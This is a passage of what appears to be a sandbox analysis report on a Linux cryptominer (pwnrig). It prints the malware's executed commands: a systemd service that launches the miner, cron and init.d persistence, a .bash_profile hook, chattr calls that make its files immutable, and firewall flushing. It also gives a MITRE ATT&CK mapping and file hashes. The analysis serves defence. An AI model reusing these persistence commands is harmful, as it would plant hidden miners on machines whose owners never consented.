>/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- File and Directory Permissions Modification
- Attempts to change immutable files
- Writes file to tmp directory
PID:1842 -
/usr/bin/idid -u4⤵PID:1843
-
-
/usr/bin/idid -u4⤵PID:1844
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:1845
-
-
/bin/rmrm -rf /bin/bprofr4⤵PID:1846
-
-
/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:1847
-
-
/bin/cpcp -f -r -- /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /bin/bprofr4⤵
- Writes file to system bin folder
PID:1848
-
-
/usr/bin/idid -u4⤵PID:1849
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:1850
-
-
/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵PID:1851
-
-
/usr/bin/chattrchattr -i -a "/etc/cron.*/pwnrig" /bin/crondr4⤵
- Attempts to change immutable files
PID:1852
-
-
/bin/rmrm -rf /bin/crondr4⤵PID:1853
-
-
/bin/cpcp -f -r -- /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /bin/crondr4⤵
- Writes file to system bin folder
PID:1854
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
PID:1856
-
-
/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Attempts to change immutable files
- Creates/modifies Cron job
PID:1857
-
-
/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- File and Directory Permissions Modification
PID:1858
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
PID:1859
-
-
/usr/bin/whichwhich chkconfig4⤵PID:1860
-
-
/usr/bin/whichwhich update-rc.d4⤵PID:1861
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
PID:1862
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
- Flushes firewall rules
PID:1863
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵PID:1864
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1865
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1865
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1865
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵PID:1865
-
-
/sbin/systemctlsystemctl daemon-reload5⤵PID:1865
-
-
/bin/systemctlsystemctl daemon-reload5⤵
- Reads runtime system information
PID:1865
-
-
-
/bin/rmrm -rf /bin/initdr4⤵PID:1868
-
-
/bin/cpcp -f -r -- /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /bin/initdr4⤵
- Writes file to system bin folder
PID:1869
-
-
/usr/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:1872
-
-
/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
PID:1873
-
-
/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵
- File and Directory Permissions Modification
PID:1874
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵PID:1875
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
/sbin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
/bin/systemctlsystemctl daemon-reload5⤵PID:1876
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:1880
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
/sbin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
/bin/systemctlsystemctl daemon-reload5⤵PID:1881
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
PID:1882
-
-
/usr/bin/whichwhich systemctl4⤵PID:1886
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
PID:1887
-
-
/bin/rmrm -rf /bin/sysdr4⤵PID:1888
-
-
/bin/cpcp -f -r -- /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /bin/sysdr4⤵
- Writes file to system bin folder
PID:1889
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:1891
-
-
/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Attempts to change immutable files
PID:1892
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
PID:1893
-
-
/bin/systemctlsystemctl enable pwnrige.service4⤵PID:1894
-
-
/bin/systemctlsystemctl enable pwnrigl.service4⤵PID:1895
-
-
/bin/systemctlsystemctl daemon-reload4⤵
- Reads runtime system information
PID:1902
-
-
/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵PID:1903
-
-
/bin/systemctlsystemctl reload-or-restart pwnrigl.service4⤵PID:1909
-
-
-
-
/tmp/-python37-b3a06bff-0634-4190-84a8-75ee658c974c/tmp/-python37-b3a06bff-0634-4190-84a8-75ee658c974c2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1914
-
-
/usr/bin/nohupnohup ./dpkg-deb-package1⤵PID:1704
-
/bin/dpkg-deb-package./dpkg-deb-package1⤵PID:1704
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
2System Checks
2Discovery
Process Discovery
1Software Discovery
1Security Software Discovery
1System Information Discovery
3System Network Configuration Discovery
2Internet Connection Discovery
1System Network Connections Discovery
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.2MB
MD5396a812c15bd9809d0c8f438b8517827
SHA16a8eb0ee0a05cede17a50ec04b0a549d70325dcb
SHA256d8a12c39742e862d3c2a72bc85532deb7b62665357a357bf6a4f2ea3ceb8561a
SHA51283ba44b59c9aa517887d27de612b646a17e1b0e372e216e279f188a75e12759b27f181509287e08e79aa34872b59b711fc8efd014b463f58934f762a8d70e948
-
Filesize
52B
MD54af02a573bee7aa0df7ace86e2c042e5
SHA1587c84ce4df60a533e0973c2ccf89dacc827b746
SHA256f8f4c1d9d6298d66b0c62deaa4042e1480db862b2cb8904a9414fbc200930123
SHA512425c990bb3ec0925defd88c2649099e67cf65e162f1ab61bbba1de021534bb35eee8a9fdb590b2df7fe8fbc48196007bcb549548ae2e32664aea184e0807c3bf
-
Filesize
199B
MD5906980accf4b594d289d69ab3c2b212c
SHA107d5e5111fe11aa1aaa66c61dc4a3df74b3ec6dd
SHA2562e4d6729014e1722ea4839b574d63c0e17a72a99c7ff2fd73bbb981c3429d92c
SHA512467b5bffb60506600723b0b416393853d21bfeb19986537a492716a338de4deb2cfe414e62c047798d1ad3b945d1571f1286e6d9627f823f35e7704b0d095fb0
-
Filesize
196B
MD585af470e35a1ae54466bb6d33978ad92
SHA1d3a7f7639a62dd11db91fbcf55922e29b66f1935
SHA2560940db984b9b439904954693b7d2fd4dd9b295e1cb4c440b203b2e72a3aea0ba
SHA512a2702d6157fe0f475a04ff10d0860756e1aaa7c9ee0ff05ae51ef13c7d8cb358ddc85011557e37a142ec1803e5a8551dbfc873ffa85437e5e97bfdff89c18145
-
Filesize
366B
MD5906d7ce63c7466c6c65f509156bb1529
SHA11e3dcb514ce8007a594f6805c7bdde98fe2f7667
SHA256e3d6f2b6cc53564780785e6efb9e415b83e40342fe7afe210631fe84fd492476
SHA512f488084c847b471330dbef23bbb7e3c9def2b961a66406d8ae36de9fe168f9ae1c3db3b001f8e58bd2a0dbf91696a8512812a87bb805df71972a76b82e11cd4d
-
Filesize
384B
MD515caeb685929dab65b1094f9e5c4b29f
SHA12b1141235c528d8ef5aba5ec6567441d04b2634f
SHA256ac406aa204b2dd2c018a98fdb2090f99821be750dae169f5ca13a080822ac8b0
SHA512590862dfff0c3537ea515f8caf28a658c5419140819232d396ce2f0063532d6bb8b6c808df775c3185e6f08f868154879c4980c5d14b38fa1fb2eaa3392a1c71
-
Filesize
381B
MD531fc62b7f5d35aac493ca5162b16f812
SHA123aae8aa6388120308c0bdacb66fee7ac8e8641b
SHA2560e36d48719109e697a24e8fe2f72239109f55071ae9c603f85301029fb09271d
SHA51269e99a9aaebd79746d04cb022107a4b813e4d9a806ba55e53d6493c9b3a893156a5518117dcf8e7d6cdae3e5598a56feff2b108e5707eea85cafcaddb6b7d776
-
Filesize
362B
MD5e09c35d4415da2a376db6c6c3ca6fcf1
SHA156f9c76d37312437f411726f4e0463e14acc67fd
SHA256d852c0b7fae9a031b60d4a2521d4d7824d83570bbb49082655b63b842befd69a
SHA5127f23bfe778b3e264841f623664a578e2db37b4cfb3d99960953f715a72f984a79d5095cb51f7b65fb671828df58440bd60de06d3354887ccbff3cffb5b792d30
-
Filesize
388B
MD534bba0e0c7ab1c364409fc350fa37868
SHA1a362f6eb47fa0ae5973d1d3b72a20e3c727cbd56
SHA2567d3126408366c9a8813fac8aa2e970e18e837542209c38b751bdee68c06304e1
SHA512249b8608d3a89f9e2a075a6b8164457686a256665729d7e441cafcba35567dd157eeb5123221c8ee4377993907e0100bcd55888fb94a36b557074c0df2850b26
-
Filesize
385B
MD59297e32544b3f6f52346919c3dcc4d78
SHA1a817c64117b4cba178242bf99b008c094f836c7c
SHA256fb6251a22cfb915b67202de5f89f331f18559e09438a89914271fe51018a4311
SHA5128472916e8ed3c8cc7c8db00c2dbe6c103d18406deb6f2d3b7cdba2573cc843adff36a7814997a25f134a53434b8d9c87705d0a184534dae617b2e9b385763662
-
Filesize
2.3MB
MD5b9f096559e923787ebb1288c93ce2902
SHA194851bcc8f9c651bcda0ff33d17356cb0b16cf12
SHA2561fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5
SHA512ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be
-
Filesize
184KB
MD563a86932a5bad5da32ebd1689aa814b3
SHA1472548a4b8295182f6ba8641d74725c2250b7243
SHA2560013b356966c3d693b253cdf00c7fdf698890c9b75605be07128cac446904ad9
SHA5124631e014f77c683819ae34278625b21525d9fa0697e5376ff2babfd77af3ca609fb4a82cde2374f2c96b00dc52cdc34d7efdc40a7ee2609566a6b6e9e630f332
-
Filesize
227B
MD565fdf6ca270d0f206e5286ac6300f0b4
SHA1c468d4f3dc1cd960c1ed50854efdacf906af0a13
SHA2568ae5d069be5f89aea4905a29f881f02ade3d585e8373161a9cdb9de7f566de51
SHA51276bdea80fa9a485ca4421dd384825f461c043c32412c5efd8b5a4cb79bce020ed3776def7f6f4bb1f71fd11a7aac060c8d4573ea6ba2b94a758e3675347706b8